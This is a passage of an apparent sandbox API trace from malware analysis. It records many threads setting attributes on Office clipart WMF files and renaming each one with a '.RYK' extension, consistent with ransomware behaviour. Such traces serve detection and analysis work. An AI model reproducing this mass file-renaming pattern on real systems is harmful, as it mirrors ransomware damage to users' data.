	[0260.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF", dwFileAttributes=0x80) returned 0
	[0261.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.321] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3146
	os_tid = 0x3624

	[0260.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF", dwFileAttributes=0x80) returned 0
	[0261.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.319] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3147
	os_tid = 0x3628

	[0260.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF", dwFileAttributes=0x80) returned 0
	[0261.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.317] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3148
	os_tid = 0x362c

	[0260.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF", dwFileAttributes=0x80) returned 0
	[0261.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.485] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3149
	os_tid = 0x3630

	[0260.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF", dwFileAttributes=0x80) returned 0
	[0261.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.315] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3150
	os_tid = 0x3634

	[0260.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF", dwFileAttributes=0x80) returned 0
	[0261.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.722] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3151
	os_tid = 0x3638

	[0260.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF", dwFileAttributes=0x80) returned 0
	[0261.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.723] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3152
	os_tid = 0x363c

	[0260.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF", dwFileAttributes=0x80) returned 0
	[0261.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.725] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3153
	os_tid = 0x3640

	[0260.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF", dwFileAttributes=0x80) returned 0
	[0261.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.726] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3154
	os_tid = 0x3644

	[0260.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF", dwFileAttributes=0x80) returned 0
	[0261.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.727] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3155
	os_tid = 0x3648

	[0261.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF", dwFileAttributes=0x80) returned 0
	[0261.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.794] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3159
	os_tid = 0x3660

	[0261.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF", dwFileAttributes=0x80) returned 0
	[0261.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.792] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.793] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3160
	os_tid = 0x3664

	[0261.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF", dwFileAttributes=0x80) returned 0
	[0261.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.054] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3161
	os_tid = 0x3668

	[0261.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF", dwFileAttributes=0x80) returned 0
	[0261.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.056] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3162
	os_tid = 0x366c

	[0261.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF", dwFileAttributes=0x80) returned 0
	[0261.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.791] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3163
	os_tid = 0x3670

	[0261.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF", dwFileAttributes=0x80) returned 0
	[0261.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.790] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3164
	os_tid = 0x3674

	[0261.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF", dwFileAttributes=0x80) returned 0
	[0261.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.789] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.789] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3165
	os_tid = 0x3678

	[0261.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF", dwFileAttributes=0x80) returned 0
	[0261.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.787] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3166
	os_tid = 0x367c

	[0261.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF", dwFileAttributes=0x80) returned 0
	[0261.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.786] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3167
	os_tid = 0x3680

	[0261.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF", dwFileAttributes=0x80) returned 0
	[0261.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3168
	os_tid = 0x3684

	[0261.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF", dwFileAttributes=0x80) returned 0
	[0261.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.783] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.783] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3169
	os_tid = 0x3688

	[0261.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF", dwFileAttributes=0x80) returned 0
	[0261.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3175
	os_tid = 0x36a0

	[0261.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF", dwFileAttributes=0x80) returned 0
	[0261.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.780] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3176
	os_tid = 0x36a4

	[0261.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF", dwFileAttributes=0x80) returned 0
	[0262.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.405] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3177
	os_tid = 0x36a8

	[0261.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF", dwFileAttributes=0x80) returned 0
	[0261.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.734] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3178
	os_tid = 0x36ac

	[0261.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF", dwFileAttributes=0x80) returned 0
	[0262.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.406] CloseHandle (hObject=0xffffffffffffffff) returned 0
